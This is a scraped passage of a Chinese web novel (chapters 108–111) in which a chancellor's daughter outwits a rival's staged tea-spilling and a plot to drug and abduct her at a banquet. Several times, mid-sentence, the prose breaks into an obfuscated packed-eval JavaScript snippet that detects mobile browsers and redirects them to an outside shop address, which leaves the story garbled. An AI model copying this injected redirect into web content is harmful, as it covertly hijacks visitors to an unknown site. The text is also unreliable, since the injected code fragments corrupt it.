“郡主娘娘布置的院子,哪有不好的。我瞧着院子里开着的花儿灿若朝霞,香气扑鼻,的确是道美景。” “是啊,我刚刚还以为进了什么仙境呢!” “郡主娘娘的确是别出心裁。” 长宁郡主久病初愈,自知气力不足以支撑全程,想着今日举办宴会的目的,便道: “诸位高看我了,只不过是动动嘴皮子的事情,主要还是鹤哥儿置办的。” 这句话一出,琉璃阁里难得地静了一静。 要知道,姜鹤在京城里那可是那帮纨绔子弟的领头人,除了吃酒拈花,还能处置内宅事? 这不是天方夜谭吗? 琉璃阁中约莫有二十家女眷,可打扮精致的各位夫人们脸色全都变了变。 难不成,长宁郡主这个生辰宴,并非为了大儿子姜鹄相看?而是为了那个浑不懔的小儿子姜鹤相看举办的? 论人品论才智,长宁郡主应当先紧着姜鹄才对,怎么反而先替小儿子张罗起婚事来了。 不过,内宅事到底还是女人料理的,姜鹤会处置并不会说明他有多厉害,反而更显得他成天只会在女人堆里转悠。 “到底是年纪大了,姜小公子稳重了不少。” 不过,既然长宁郡主开口提起了自家的宝贝儿子,总是不能冷场,便有一位夫人开口附和起来。 长宁郡主坐了主位,看了一圈儿坐着凑趣的姑娘们,最终把目光落在了谢荼的身上。 “这便是谢相家的姑娘吧,这样标致的美人,我这些年沉溺于吃斋念佛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13643865|126565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟然都没见过呢!” 她冲着谢荼招手,拉着她的手坐在自己的身边。 谢荼穿着一身红色烟云锦缎,裙边挂着一串儿玉珏,脖子上则戴着一串罕见的粉色珍珠,每一颗都有拇指般的大小,更是衬托得她肤如凝脂,贵气逼人。 “来来来,好孩子。”长宁郡主笑道,“你瞧瞧,我这花园整得如何?” 谢荼自然是借口夸道:“郡主娘娘挑选的花朵儿,颜色鲜艳,还全都绽放,显得整个院子都喜气洋洋。” 没有过分浮夸的夸奖,只是朴实无华的阐述,没有恭维,也没有贬低,就是实实在在的描述,倒让长宁郡主笑了又笑。 “确实是个实诚孩子。”长宁郡主笑盈盈地拍着谢荼的手背道。 “郡主,都已经准备好了,有请各位去庆阳厅用膳。”管事妈妈进门禀告。 “那就走吧!让咱们瞧瞧今儿鹤哥儿准备的菜式如何。”长宁郡主率先起身,她身形微微一晃,谢荼眼疾手快扶了一把,这才让她稳住了身子。 因为这一下耽误,她们二人走在人群的最后方。 长宁郡主一直拉着谢荼的手,同她悄声道:“一直都没有机会亲自向你道谢,实在是失礼。” “郡主言重了,只是举手之劳而已。”谢荼谦虚道。 “姜鹤那小子一直夸你,说你虽然是闺阁女子,却有大谋略,不随波逐流,能成大事。”长宁郡主笑盈盈把姜鹤说过的话复述了一遍。 “可我知道,你在心中并非诸葛孔明那般的地位,只不过他怕我对你印象不好,只将你当作寻常脂粉,这才如此夸赞。” “他啊,可是把你放在心尖尖上敬着爱着,这也是夫妻之间该有的羁绊。” 长宁郡主突然话锋一转,提到了姜鹤的婚事。 “原本,我与他父亲的打算,便是让他娶个小门户的姑娘,知书达理,温柔贤淑,互相扶持着过一辈子就好。” “你也知道的,因为姜家功高盖主的缘故,姜鹤这些年一直扮演着‘纨绔子弟’这样的形象,所以寻常门当户对的人家,的确也不太愿意将自家闺女嫁给她。” “可是,自从那年在宫宴上惊鸿一瞥后,他啊就对你情根深种,数次同我说非你不娶。” “原先我同他父亲都担心他会不知分寸,惊扰到你,可没想到他的的确确打心眼儿里想要同你处好关系,哪怕不娶你,也不随意给你压力,这是我们做家人的没有想到的。” 她们二人落在最后,慢慢悠悠地晃着,身边无人跟着,倒也不怕有些话泄露出去。 “所以,我一合计,若是你们二人互相喜欢,彼此心里都认定了对方,我便是豁出去了,顶住宫中的压力,也会让你们在一起的。” “所以,正好趁着这次举办生辰宴的机会,想当面问问你,你心里到底是如何想的。” “你也知道,秋选不日就要开始,依着皇帝对你的态度,想必你自己也知道,若不尽快定下婚事,只怕也是要进宫的。” “姜鹤名声不好听,可的确是个一心一意爱你的人选。” 长宁郡主的一席话,虽然轻飘飘的,可却在谢荼的心里掀起一阵波澜。 108. 事端 谢荼虽然心里有些抵触长宁郡主的直白,可她却也明白,有皇帝在外的虎视眈眈,还有母亲杜一南在后宫不明的下落,她早些定亲属实是个最稳妥的方法。 而姜鹤的的确确是最适合的人选。 可有上一世的“恩情”在,她始终无法看清自己对待姜鹤的感情究竟是哪一种。 她害怕自己看错了心意,也害怕自己辜负了姜鹤的一片真情。 长宁郡主出身皇家,是个人精,早就看出了谢荼的犹豫不决。 她只是好脾气地给谢荼展示着自家儿子的长处,却也不急着要谢荼的回话。 她笑道:“我的儿子,我最是了解,若非你真心实意地要嫁,他铁定宁愿不娶你。” “他比你更怕和你成为一对怨偶,他更怕你因为一时的冲动而与他结为夫妻。” “所以今日的谈话,他并不知道,你也不必心有压力,这只是我们女人之间的对话。” 谢荼应着声,扶着长宁郡主已然走到了庆阳厅。 “好了,也不必拘着自己陪我这个老婆子,你还是和小姑娘们待在一起比较自在。” 长宁郡主放了谢荼进去,自己则由婢女扶着去了后院休息。 顾茹娘倒是拉着谢荼不肯撒手,非要谢荼讲清楚长宁郡主单独同她说了什么话。 谢荼还没开口,王怜却抢先一步呛声道: “顾姑娘,这儿的人就数你最傻,你没见着郡主娘娘对谢姑娘的态度多好吗?” “也就是你和你的那位母亲操心着谢家姑娘的婚事,可惜人家早早就博得了郡主娘娘的欢心!” “只不过,谢姑娘的算盘可要打落空了,今儿郡主娘娘显然是要给姜鹤公子相看的,你若是想嫁姜鹄那等少年将军,恐怕郡主娘娘是看不上眼的!” “不过这样也好,你跋扈,鹤公子纨绔,你们俩倒是天造地设的一对璧人呢!” 王怜自顾自地用帕子捂着嘴巴在笑,周围的人因为碍着在定远将军府中,不好随意编排主人家,所以只敢憋着笑意,眼睛打量着谢荼的反应。 谢荼愣了一愣,这王怜莫不是吃错了药?她怎会以为自己是冲着姜鹄来的? 难不成,王怜的心上人,实际上是姜鹄那般少年将军? 那她之前在春日宴上,搅动宴会,引起皇帝的注意想要入后宫又是为了什么? 难道仅仅是因为,王家当时需要她进后宫巩固王家在朝中的地位吗? 一堆人正笑得起劲,却突然听到一道男声。 “看不看得上的,用不着王家姑娘在我府上置喙,总之是看不上王姑娘的。” 庆阳厅里的夫人小姐急忙拿起手中的团扇、帕子遮面,更有甚者躲到了屏风之后。 只有胆子大的抬眼去看进来的男子。 男子身材高大,剑眉星目,肤色算不上白皙,却是健康的小麦色,一身腱子肉被一件天青色锦袍笼罩着,却更显得身姿挺拔。 “郑远公子应当还不知道,他未过门的媳妇儿喜欢插手旁人家的事情吧?” “等去前院的时候,我同他知会两声,建议他新婚之后,求嫡母多分配些内宅事务给你做,免得你无聊得要管别人家的事情!” 来人正是姜鹄,那个赫赫有名,身负战功的边陲少年将军。 没想到他领兵打仗在行,嘴皮子的功夫也很不错。 谢荼心中只生出了一丝怪异之感,要说这样的言论,从姜鹤的嘴里说出来,一点都不奇怪,可偏偏是从处处优秀、颇得人心的姜鹄嘴里说出来的,非常的违和。 刚刚跟着王怜一起取笑她的夫人小姐们,全都不敢作声了。 只有王怜阴沉着脸,她刚想再说些什么,管事妈妈已经走进庆阳厅禀告: “夫人姑娘们,饭菜都已经摆好了,请各位快随我过去落座吧!” 管事妈妈只当没看见姜鹄,既不行礼也不问安,仿佛他不存在一般。 好在姜鹄在管事妈妈说完话之后,就已经转身离开了庆阳厅,避免了在场其他人的尴尬。 “呼,好险!” “少年将军的气势就是比一般人强些!” “就是,看不惯嚼舌根就直言不讳,不愧是姜大公子!” 众姑娘们一边看着再一次丢脸的王怜,一边“小声”地窃窃私语。 王怜气得不得了,狠狠地瞪了谢荼一眼,用身体撞开她,丢下一句“走着瞧”,便率先落座。 谢荼不去管她,只和顾茹娘一起落座。 很快,各人的桌案上就上了菜,因为怕姑娘们不胜酒力,每人的面前只有一杯桃子酒,果香扑鼻。 姑娘们因为在别人家做客,顾忌着形象,倒是放不开来吃着,倒是夫人们的那头说笑打趣,非常热闹。 顾茹娘忽然问道:“长宁郡主作为主家,为何没有出面说开席语?” 她疑惑也很正常,寻常人家宴客,都是主家待客人们全都落座后,说个一两句祝酒词,才上菜开席。 今儿管事妈妈等诸位夫人姑娘们全都落座好后,便鱼贯有婢女上菜倒酒,那些夫人们也都自然而然地开始吃起来,全然没有要等长宁郡主的意思。 “许是长宁郡主久病的缘故,大家都知道刚刚她露面便是尽了礼数,实在是撑不了这般嘈杂的宴席。” “那还办生辰宴,寿星都不在,咱们吃得哪门子宴席?”顾茹娘忍不住嘀咕道。 谢荼忙低声道:“嘘,你可不要这样说,小心那些人又抓着你的把柄。” 在座的姑娘们里,顾茹娘年长了几岁,却一直待字闺中,难免会有人拿她的婚事取笑。 好在姑娘们如今都知道,长宁郡主今日是为小儿子姜鹤相看,自然就没有人盯着别人的错处发作,顾茹娘说的话并没有注意到。 但是大家都吃得慢条斯理,即便是吃得山珍海味,也都动筷甚少,一副矜持模样。 只有谢荼认真吃着面前的菜肴。 姜府的厨子的确还不错,很合她的胃口,她这样想着。 饭后漱口饮茶,夫人们则被管事妈妈邀请着去戏台看戏,姑娘们则三三两两簇拥在一起在小花园中说话。 谢荼吃饱喝足,依着亭子喂鱼,对席间的那杯桃子酒回味无穷。 她决定下回再见到姜鹤,定要让他向厨子要来酿酒的方子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666890|126565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己酿几坛藏在重峦院中偷偷喝。 正当她琢磨着何时给姜鹤递消息的时候,王怜身边的婢女在经过谢荼身边时,演技拙劣地“不小心”撒了一些茶水在她的裙摆上。 “哎呀,奴婢有错,弄脏了谢姑娘的衣裙。” 那婢女“扑通”一声就跪在了地上,泪水涟涟地望着谢荼,仿佛她不道歉,谢荼就要穷凶极恶发作她一般。 谢荼看着身边好奇地打量着她的姑娘们,没吭声。 “求求你了,谢姑娘,如果您今儿不原谅奴婢,奴婢就跪着不起来了。”那婢女抽抽搭搭地哭着,可怜得不得了。 “怎么回事儿?” “那婢女把茶水不小心洒在谢姑娘的裙子上了,谢姑娘不肯原谅她。” “啊?就算是那裙子价值千金,也不能在别人的生辰宴上这般磋磨别家的婢女啊!” “就是,谢姑娘未免有些嚣张跋扈了!” 周围的人议论纷纷,对于谢荼不肯原谅那婢女的事情不能理解。 可谢荼却笑了,她可一句话都还没说呢,这顶“嚣张跋扈”的帽子就盖在了她的头上。 她要是让王怜照价赔偿,是不是要说她欺人太甚了呢? “谢姑娘,我家婢女手脚粗笨,不小心毁了你新制的裙子,实在抱歉,不如我替她赔偿,你原谅她吧!否则,她这样跟着我回去,定是要依照我王家的规矩进行处置。” 王怜柔声替自己的婢女解围。 “是啊,谢姑娘,奴婢不是有意的,求求您,大人有大量,就原谅奴婢吧!” 那婢女连连磕头,眼见着额头就被磕破了。 好好的一个如花似玉的美人儿,就这样破了相,在座便有不少人于心不忍,出声制止: “谢姑娘,还请高抬贵手,这样一个小小的婢女,自然是比不上你衣裙重要,可人家也是爹妈生的,就因为这一点点小事,你就这般作践她,又是个什么道理?” “是啊,那婢女又是道歉又是磕头的,你要是不原谅她,她回去还要受到责罚,实属可怜。” “常言道,‘救人一命胜造七级浮屠’,谢姑娘你又何必给自己造孽呢?” 谢荼双手轻抚在膝头,仍然维持着适才坐着的姿势,开口笑道: “众位姐妹,妹妹有一事不明,还请诸位替我解惑。” “这茶水,是我自己泼到我的裙摆上去的吗?不是吧?那是王姑娘身边的婢女洒上的吗?是的。那她向我道歉,我有何错?” “你们说,她向我磕头磕破了额头可怜,可是,她磕头这个行为并不是我要求的,而是她自己下跪自己向我请罪磕的,我有逼迫她这样做吗?没有吧?那我有何错?” “既然王姑娘说,王家的婢女做错了事情,会按照王家的规矩处置,那婢女受到的惩罚,是王家给予的,并不是我下令的,我又有何错呢?” “这个小婢女不看眼前,将茶水洒在我的裙子上,我一没有吭声,二没有指责,全凭她自己装可怜,给自己安排了后续的戏码,却把我打造成一个‘嚣张跋扈’,‘目中无人’的形象。” “请问,这又是什么道理呢?” 109. 脏水 谢荼一句接着一句,一通先发制人,呛得王怜一句话都说不出来。 而适才因为婢女求饶,对着谢荼指指点点的贵女们,也终于回过神来了。 “是啊!这小婢女泼了谢姑娘一身茶水,请罪道歉那是理所应当的,怎么上来就笃定谢姑娘不会饶恕她一般?” “而且她话里话外,一直都说谢姑娘若是不原谅她,就会害得她被王家责罚,天杀地,谢姑娘管天管地,难不成还能管得了王家的规矩?” “你别笑,我瞧着王姑娘就是和那婢女在演戏呢,就是想要将谢姑娘架在高位上下不来呢!” 见自己解释到位后,大家都反应过来了,谢荼这才正色道: “俗话说,己所不欲勿施于人。若是王姑娘自己心爱的裙子被婢女弄脏,恐怕按照王家的规矩,发卖了都不算什么。” “我好端端地坐在这儿,就能让这小小婢女泼了一身的茶水,受害者本人还没说半句话,这小婢女却仗着王姑娘在场,一句又一句地逼迫我原谅她,也不知道到底是哪里学来的规矩。” 既然王怜想让自己下不来台,那自己也不必给她留情面。 谢荼又道:“王姑娘还是好好整治一下自己的身边人,别把那些规矩差的毛手毛脚的带在身边,没得显得王姑娘这个主人没有规矩了!” 她用帕子遮住口鼻,一副不愿再多说的模样,却把嘲讽的意味表达得淋漓尽致。 王怜气得眼泪都要出来了,可如今自己的确是落了下风,再争论便是不给长宁郡主这个宴席主人家的脸面了。 她只得上前呵斥了那小婢女:“糊涂东西,弄脏了谢姑娘的裙子,怎么这般同谢姑娘说话?惹得了不一般的人还想要小命吗?还不快给我滚!” 小婢女浑身颤抖,抖如筛糠,可怜巴巴地求饶:“奴婢该死,都是奴婢的错!” 谢荼此时此刻已经不想再看她演戏,任凭她指桑骂槐,起身带着吟心和典心去换衣服。 好在她外出赴宴时,都会备上两套衣裙,这才不至于失礼。 定远将军府花园的景色的确很不一般,不过典心却兴致缺缺: “奴婢还指望着能去戏台子那儿看看戏,谁知道这王家姑娘,只会盯着咱们家姑娘作祟!” 谢荼倒是来了兴致:“哦?那头诸位夫人们究竟是点了什么样的戏,能让咱们典心这样心心念念?” 典心嘿嘿一笑:“有长宁郡主的面子,自然是请来了京城最著名的戏班凤阳班子,还有名角上场,听说郡主娘娘饭前点了本《长生殿》。” “这可是凤阳班子的拿手戏,想必是别处的《长生殿》无法比拟的!” 谢荼听见戏折子的名字,略一愣神。 世人皆艳羡唐明皇和杨贵妃的真挚爱情,可却无人在意,一骑红尘妃子笑的背后,是无数穷苦百姓耗费巨大人力物力财力,才能为唐明皇博得美人一笑的事实。 看见谢荼略有异色,吟心连忙道:“我看小丫头约莫是想嫁人了,姑娘,不必留这丫头太久,我瞧着不如早些替她寻个合适的郎君嫁出去吧!” 典心脸一红,跺了跺脚:“吟心姐姐!我就是喜欢看戏而已!” 谢荼也是扑哧一笑,惹得典心更是恼羞成怒,追着吟心就要去打她。 两人闹成一团,倒是在花园里成了一道别致的风景。 她们不知道,她们在看风景的时候,远处也有人在看她们。 “那位便是谢相家的嫡女谢姑娘吗?果然容貌明艳,只不过举止有些轻浮,不太端庄。” 说话的是当朝新贵杜家公子,他的父亲亦是和王家为同乡好友,两家人关系走得比较近。 王怜是个娇嗔的性格,在杜公子面前难免抱怨谢荼,杜公子便对谢荼没有什么好印象。 他看见谢荼和身边的婢女竟然闹成了一团,当即发表了自己不屑的看法。 用饭后,姜家两位公子带着众位公子在水榭中评诗作画,好不肆意。 众位公子听见杜公子的言论,也全都顺着他的手指看向了远处花园的娇俏身影。 姜鹤端着酒杯的手一顿,目光如炬般射向杜家公子。 可惜杜家公子大约是吃醉了酒,根本就没有注意到他不悦的神色。 他仍然在那边絮絮叨叨:“要我说,这大家闺秀,就应该如王家姑娘那般,温柔娴静。谢姑娘这般跳脱的性子,那是万万不能撑起家族重任的。” 姜鹤捏着酒杯,仿佛下一瞬就要投掷到杜公子的脸上,身边一只手拽住了他。 姜鹄眼神示意,冲姜鹤摇了摇头,温润道:“杜公子吃醉了酒,快去扶着休息休息。” 杜公子双眼迷离,脸颊通红,被小厮扶着起身,跌跌撞撞晃晃悠悠:“是,给我醒醒酒,来碗醒酒汤。否则我老子又要骂我只知道喝酒了!” 也不知道到底是怎么一回事,杜公子甩着袖子倔强地不让小厮搀扶,往外走去,只听“扑通”一声,杜公子落水了。 “救,救命,救我!”杜公子泡在冷水里,酒醒了大半,扑腾着挣扎着要上岸。 姜鹄连忙指挥着小厮们去捞人,可岸边人太多,人挤人像叠馍馍,小厮刚捞着杜公子的手,就被人一并挤下水去。 杜公子活活在水里喝了个水饱,才被人捞起来。 谢荼和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只听隔壁屋子一阵窸窸窣窣声音后,那小丫头端着茶壶和几只茶盏走了过来: “这是郡主娘娘吩咐备在此处的香片,若是有姑娘散步走到这儿,喝了也能解乏。” 小丫头一边说着,一边将茶盏一一放到谢荼和两个婢女的面前:“两位姐姐也一并尝尝吧,奴婢替姐姐们看着,绝对不会有人瞧见。” 她斟满三杯茶,一脸期待地着看向谢荼主仆三人。 110. 讯问 小丫头一边说着,一边还将身前的三只茶盏往她们面前推一推。 原本不确定的谢荼,这下更加确定事必有猫腻。 可她却觉得有些好笑,既然是要派个人来做些见不得人的事情,为何偏偏选了这么个不怎么机灵的丫头来办。 心思几乎全都写在了自己的脸上,打量着所有人都看不出来似的。 可她又思考了一圈儿,心思细腻又机灵的丫头多已经被挑着放在了各位主子身边,倘若事发一定很容易被人给认出来。 也只有这样不谙世事、又有野心的小丫头,用一些财物或丰厚的条件加以诱惑,才能得用。 更何况,待事成后,再神不知鬼不觉地灭口处理掉,任凭谁来,都找不到一个无名无姓的小丫头身上去。 眼见己方主仆三人一直不接茶盏,小丫头的眼神里已经开始闪烁着疑惑,吟心连忙捧起茶盏,随口夸道: “定远将军府的茶水就是不一般,就连这般粗野解渴的粗茶,闻着香味都不太一样呢!” 说着她便浅浅地抿了一口,又做惊喜状:“嗯!姑娘快尝尝,这茶水果真不一样呢,入口生津,甚是止渴。” 典心也反应过来,她“哦”的一声附和着,也同样端起茶盏喝了起来。 而谢荼也跟着端起茶盏,浅浅喝了一口。 小丫头亲眼见到三人茶水下肚,才露出一副满意的神色: “姑娘在此歇息更衣,奴婢再去取些精致糕点来。” 说罢转身就走。 她倒是聪明,知道等待药效发作期间,要离开屋子。 谢荼听着小丫头的脚步声只到达院子门口附近,而后又轻悄悄地折返回来。 她对着自己的两个婢女使了眼色,手中的茶盏“啪”地摔在桌上,自己则扑倒在桌面上。 而吟心叫着“姑娘你怎么了”,也跟着摔碎茶盏趴在了谢荼的身边。 典心有样学样,甚至带倒了身下的板凳,挣扎着扑向屋子门口,最终倒在了屋子门边。 院子里候着的小丫头听着屋子里的动静,直到悄无声息归为宁静后,才蹑手蹑脚地推开房门走了进来。 她先是用脚踢了踢趴在门口的典心,又走进圆桌推了一把吟心,最后才将谢荼翻过面来,用手指探向了她的鼻子下方。 就在她的手指刚刚触碰到谢荼的鼻尖时,一只手突然死死地抓住了她的手腕。 紧接着躺在地上的典心暴起把小丫头压在身下,连同吟心一起,用麻绳将她的手脚捆了个严实。 为了防止小丫头嚷嚷出声,典心随手将自己的汗巾塞进了她的嘴里。 小丫头一双眼睛圆溜溜地瞪得老大,不可置信地看着主仆三人。 “你是不是觉得很诧异,院中的迷香,再加上这茶水里的迷药,应当是双重保险才是,为何我们三人都没有被你迷倒?” 小丫头连连点头,看了看谢荼,又看了看刚刚暴力压倒自己的典心。 典心嘿嘿一笑,好心解释:“我们三人有神功护体,百毒不侵,是不是很神奇?” 她假话信手拈来,却把一个不谙世事的小丫头唬得一愣一愣的。 见小丫头不再挣扎,典心又问:“想不想知道怎么样能习得这样的功夫?” 小丫头点头如捣蒜。 典心再次嘿嘿一笑,好心道:“那我可有些问题要问你,你如果能如实回答,我就告诉你那功夫怎么习得,若是你欺骗我们,我们就喂你毒药,让你求生不得求死不能!” 小丫头依旧点头如捣蒜。 典心回头看了眼谢荼,见她点头示意,这才伸手拿掉塞在小丫头嘴巴里的汗巾。 不过,不等小丫头说话,她又立刻塞了颗红豆般大小的东西进了她的嘴里,掐着她的脖子一抬手,“咕咚”一声,就被小丫头咽下了肚子。 “你……你给我吃的什么?”小丫头捂着自己的喉咙,可惜已经吃进肚子里的东西,无论如何也扒不出来了。 “毒药啊!”典心一脸邪气地看着她,阴阳怪气道:“鉴于你之前胆敢向我们下手,所以我就先下手为强,给你喂了一颗毒药。” “只要你随意嚷嚷引来旁人,或者有半句谎言,那你就得不到这颗毒药的解药。” “这毒药发作时,毒入骨髓,痛痒难耐,先是让人从骨头里腐烂,再逐渐扩散到全身,在痛苦中死去。” “你想清楚了再回答我们姑娘的话。” 小丫头惨白着一张脸,看看谢荼,又看看典心,摸了摸自己的肚子,最终点了点头。 “是谁指使的你,你把我们迷晕了之后,打算做什么?” 由于只是出来换衣裳,时间紧迫,谢荼也不再卖关子,直奔主题。 “我……我不知道。”小丫头面色古怪,支支吾吾。 典心一把揪住了她的领口,作势就要继续再喂一颗毒药下去,吓得小丫头连连求饶: “姐姐,姐姐,我是真的不知道,我没有见过那个人,我真的没有见过!” “胡说八道!你没有见过幕后指使你的人,你又如何能有迷药迷香,也如何知道要对我们做手脚?”典心单手掰开小丫头的下巴壳。 “真……真的!那个人从来没有来见过我,一直都是用纸条子联系我!” “你又胡说八道!你一个小丫头片子,如何能认识字!再不老实交代,我就把你毒死拿去喂狗!”典心目露凶光,手中的毒药就要塞进她的嘴巴里。 “呜呜……呜呜……”小丫头挣扎着努力想摆脱典心的手,“我爹是个账房先生,小时候曾经教过我认些字,那人给我留的纸条子都是些简单的话,我能看得懂!” 典心手一松,小丫头又重新跌回地上,瑟瑟发抖: “姐姐如若不信,那些条子我还藏在我房中靠墙边的一块儿松动的砖头下面。” “那人怎么可能还让你留着这些把柄!”典心又不信了。 “真的,是真的,一开始我自然是每次都当着他的面烧掉纸条,但是后来,我留了个心眼,每次准备一张差不多大小的空白纸张,然后用巧妙手段把那写着字的纸给替换出来。” “我就是想着,万一以后那人不认账了,我也能用这些字条去找他要!” 谢荼又继续问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715090|126565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“那你手中的迷香迷药是怎么来的呢?” “是……是那人在厨房的水缸底下掏了个洞,然后再告诉我去寻。” “那么,你将我们主仆三人迷晕之后,还要做什么?”谢荼问出最重要的问题。 问话时间紧迫,还有一个原因是,她怕这小丫头的后面还有后招,若是被那人撞见自己正在拷问小丫头,想必会有别的动作。 “那人说,那人说自然会有人来将你们接出去。”小丫头生怕她们不信,连忙为自己辩解,“那人给了我一炷香的时间,等你们被迷晕,便会有人来接你们。” “至于要把你们带去哪里,我还真不知道。” 谢荼沉默片刻,追问:“你这么聪明,一定是想过一些办法,在那人送字条的时候,偷偷见过那人的模样,那个人的身形,你在定远将军府中有见过吗?” 小丫头愣了半晌,才知道原来自己这些小动作还能被人猜出来:“姑娘是怎么知道的?” 见典心威胁着上前,脸色晦暗不明,这才回道:“我的确想尽办法想要搞清楚那人是谁。” “不过,传递纸条并没有规律,所以我几乎没有蹲到过那人。” “唯一一次差点儿撞见,是我在后厨房差点儿和一个年轻男子撞个满怀。字条已经在后厨房的水缸下,等我追出去的时候,那个年轻男子不见了踪影,所以我就怀疑那个年轻男子就是一直给我传递消息的人。” “不过那个人年轻男子面生得很,根本就不是咱们定远将军府里的人。” “而且他似乎身上有些功夫,我是看见他的衣角消失在墙头,应该是翻墙出去的。” 小丫头絮絮叨叨,说了好一些那人的事情。 “不过把你们迷晕之后要做什么,我就不知道了,那人只说让我来确认你们是不是真的被迷晕了,若是真的被迷晕了,让我在院子的树上挂上一朵不起眼的红色花朵。” “到时候他自己会来处理剩下的事情。” 谢荼一边琢磨着小丫头说的话的真实性,一边继续问:“那个人究竟许了你什么好处?让你大着胆子敢在定远将军府里下药?” 小丫头沉吟片刻,才道:“他说能帮我脱去奴籍,还能许我家黄金百两,能让我的弟弟去念书,将来考取功名,我觉得可以试一试,所以就同意了。” 谢荼看向典心,给予一道眼神示意。 典心心领神会,一个手刀下去,小丫头就昏死了过去。 “姑娘,这小丫头的话你信吗?”吟心担忧地看向屋外,“不过,若是按照这小丫头的意思,她进来确认我们的状态耽误了这般久,恐怕那背后之人已经有所察觉。” 谢荼赞同道:“今日已经打草惊蛇,那人不会再出现了。” “那姑娘可有怀疑的对象?”典心把那小丫头五花大绑起来,打算交还给姜鹤自行处置。 “能在定远将军府里来去自由,这人的身份一定不简单。”谢荼的眼眸转向窗外。 院子里种着的是一株高耸入云的参天大树。 “背后指使之人,只会比长宁郡主地位更高。”谢荼笃定答道。 111. 怀疑 此事并非谢荼危言耸听。 实则,能在定远将军府里搞小动作,甚至是避过了长宁郡主的眼线,此人要么就是长宁郡主本人,要么是宫里的人。 “姑娘,会不会是郡主娘娘设置的考验?我瞧着许多话本子里,恶婆婆对待新媳妇儿,都是百般考验,诸多折磨。” 典心立在一旁,突然开口。 屋子内一时寂静无声,谢荼无奈地扶住额角,看向了同样无语的吟心。 “你少看点儿无聊的话本子吧,什么婆婆媳妇儿的,那是你一个姑娘家能说的话吗?” 典心不服气地噘了噘嘴巴,嘟囔道:“若不是我平日里话本子看得多些,哪能诈得那小丫头吐露出那些东西呢?” 吟心瞪大了双眼:“所以,你刚刚给她服下的毒药是……” 典心理所当然、理直气壮道:“那当然是假的了!我一个小小的婢女,身边怎么可能有如此邪恶的毒药,那不是给咱们姑娘招口舌嘛!” 谢荼也跟着忍俊不禁,笑着骂道:“你这小丫头可真行,活学活用,那你适才给那小丫头喂下的是……” “陈皮糖啊!我昨儿刚买的,可好吃了,我喂给她我自己都心疼坏了!”典心嘟着嘴巴发表着自己的不满。 谢荼直接掏出一锭银子塞给她:“既然你办事有力,这锭银子就给你了,算是给你的奖励。” 典心也不含糊,掂了掂手中银子的重量,咧着嘴巴大笑:“得嘞,这下买话本子和陈皮糖的银子可是都有了!” 主仆三人笑罢,这才开始更换被泼脏了的衣裙。 等到谢荼收拾妥当重新回到琉璃阁外时,才发现人已经少了许多。 “原本都是奔着姜家大公子来的,这不,瞧这长宁郡主似乎是要给姜鹤那个浪荡子相看,用完午膳,那些个人家忙不迭地就告辞离去了,哪还有人在啊!” 见谢荼主仆三人困惑,留在原地等着她们的顾茹娘好心解释起来。 好在谢荼本就不在意同那些京城贵妇们应酬交际,走了大半倒也刚刚好,免得她还要应付那些不怀好意的目光。 不过奇怪的是,王怜却也在离开的那些人中。 她不是一贯在意姜鹄的婚事吗?难道与那郑远定了婚事后,当真就忘却了旧人?可她刚刚明明还对自己带着敌意啊! “大约是被姜大公子说的话吓到了吧,我瞧着王怜离开的时候,大有落荒而逃的架势,仿佛背后有什么魔鬼追着她一般!” 谢荼听闻此言,心中一动,若是那小丫头今日接应之人,就是王怜呢? 毕竟那茶水是她的婢女在人群之中,准确无误地泼在自己的裙子上的! 而王怜的嫡长姐,仍然是皇帝的宠妃,倘若幕后黑手真是从宫里出来的,那作为内应,王怜的确是个适当的人选。 “顾姐姐,适才我离开更衣时,王怜是否也跟着离开了?” 顾茹娘沉思了片刻,才道:“我没有刻意注意她的行踪,只不过刚刚陆续有人告辞离开时,我的确没有看到王怜的身影,也没有听见她用那惯用的阴阳怪气声音说话,想来的确是不在此处。” 谢荼手中端着茶盏,眸色沉静,只有逐渐发白的指节透露着她内心的焦躁不安。 这件事越来越复杂了,若是宫中那位想要掳走自己,大可在她外出时下手,可他却偏偏选择在长宁郡主生辰宴请这日,卷王怜进这乱局来替他运人。 难不成,如今王婕妤也知道那深宫中的秘密,所以才让幼妹办事,好让自己在那人面前邀功? 